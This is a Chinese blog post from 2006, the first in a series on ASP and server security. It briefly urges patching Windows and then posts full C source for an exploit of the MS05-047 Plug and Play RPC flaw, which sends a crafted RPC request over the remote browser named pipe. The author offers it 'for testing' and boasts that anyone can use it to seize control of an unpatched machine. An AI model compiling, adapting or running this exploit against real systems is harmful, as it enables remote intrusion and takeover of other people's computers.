asp与网站安全的初步构想（1）——操作系统安全

今天是2006年3月8日，现祝福所有的女性朋友节日快乐。

早上起床，收到朋友的短信，帮助她确定一下毕业设计的题目。

她是搞计算机的，但是现在的中国教育就是如此，教你很高深的理论知识，但是实际的动手的东西就比较少了，虽然她的成绩很好，但是真正设计到毕业设计的实际动手的时候，他自己也开始担心了。而且以前他就给我说过这件事情。君子一言，驷马难追啊！更何况是朋友呢！

现看看了看，他传送过来的课题，看来看去还是觉得软件开发之类的实际动手能力比较适合我自己，而且选择这些东西对她自己也是一次锻炼、挑战。要不然以后想学习还学不到了。

挑过来，选过去。还是选择了安全相关的问题。不为别的，我开始就是一直注重安全的问题的，自己对这个东西很早就想写东西了，只是自己太懒了，而且也一直没有时间写，这次刚好好好的总结学习一下。

今天开始第一课——IIS安全

asp安全，怎么说了？

安全这个东西不是一两句话就能说明白的，而且设计的面也不是一两个人能完成的。因为安全问题是一个整体的问题。

我考虑安全问题的第一个反应就是服务器安全。光这个方面就好多东西可以写。任何一个安装到系统上的软件都可能影响到服务器的安全，包括系统。

比如：大家所熟悉的windows 2K系统，相信不用说，大家应该知道MS每个月的安全警报吧，好像从2K出世以来就没有被拉下过。解决这个问题的唯一办法就是经常打上系统地sp，勤动手，总是有好处的。

在这里可能又有人说了，我不用win 2K ，我用XP，而且还是sp2的。嘿嘿，不用担心，这个东西出来的时候就开始说非常的坚固了，但是天下没有完美的东西。过不了几天也出现了Exception。嘿嘿，这个就是我今天想说的。

今天再翻动我以前的exploit的时候发现了这个好东西，方便大家测试一下。

Windows Plus and Play Remote Code Exception (MS05-047)

漏洞资料：http://www.microsoft.com/china/technet/security/bulletin/MS05-047.mspx
危险程度：非常严重
影响范围：
Microsoft Windows 2000 Service Pack 4
Microsoft Windows XP Service Pack 1
Microsoft Windows XP Service Pack 2
解决办法：官方已经发布补丁
相关介绍：即插即用中的漏洞可能允许远程执行代码和特权提升 

------------------------------------------------------------------------------

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")

unsigned char szBindString[] =
{
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0xb8,0x10,0xb8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
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0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
};

unsigned char szRequestString[] =
{
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};

int main(int argc, char* argv[])
{
char szServerName[MAX_PATH];
char szPipe[MAX_PATH];
HANDLE hFile;
NETRESOURCE nr;

if (argc < 2){
printf("[-] Usage: %s <host>/n", argv[0]);
return -1;
}

if ( strlen(argv[1]) > (MAX_PATH - 50) ) {
printf("[-] Host name %s is too long !/n");
return -1;
}

printf("[+] Start connect host %s ... /n", argv[1]);
wsprintf( szServerName, "////%s//pipe", argv[1] );
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = NULL;
nr.lpRemoteName = szServerName;
nr.lpProvider = NULL;
if ( WNetAddConnection2(&nr, "", "", 0) != NO_ERROR ) {
printf("[-] Connect to host %s failed !/n", argv[1]);
return -1;
}

_snprintf(szPipe, sizeof(szPipe), "////%s//pipe//browser", argv[1]);
hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL);

if ( hFile == INVALID_HANDLE_VALUE ) {
printf("[-] Open name pipe %s failed !/n", szPipe);
return -1;
}

unsigned char szOutBuffer[0X1000];
unsigned long nBytesRead;

printf("[+] Start bind RPC interface ... /n");
// bind rpc interface {8D9F4E40-A03D-11CE-8F69-08003E30051B}
if ( ! TransactNamedPipe(hFile, szBindString, sizeof(szBindString),
szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
printf("[-] TransactNamedPipe (Binding) failed !/n");
CloseHandle(hFile);
return -1;
}

// send rpc request to call PNP_GetDeviceList (opnum 10)
printf("[+] Start send RPC request ... /n");
if ( ! TransactNamedPipe(hFile, szRequestString, sizeof(szRequestString),
szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
printf("[-] TransactNamedPipe (Binding) failed !/n");
CloseHandle(hFile);
return -1;
}
printf("[+] Attack host %s complete !/n", argv[1]);
return 0;
}

上面的代码你再vc++下编译一下，如果你没有打系统的补丁的话，恭喜你，你可以看到好结果了。

通过类似于上面的Exception的代码就可以得到服务器的权限，想修改你的问题简直是易如反掌啊。

这个就是今天演示的程序代码（行内称之为：Exploit），通过这些代码，任何一个会使用计算机的人都可以得到系统的控制权。哈哈，这样，你的秘密就成了天下皆知的秘密了。

ok，今天的课程现到这里，寝室熄灯了，室友都睡着了，我也的休息了，明天继续。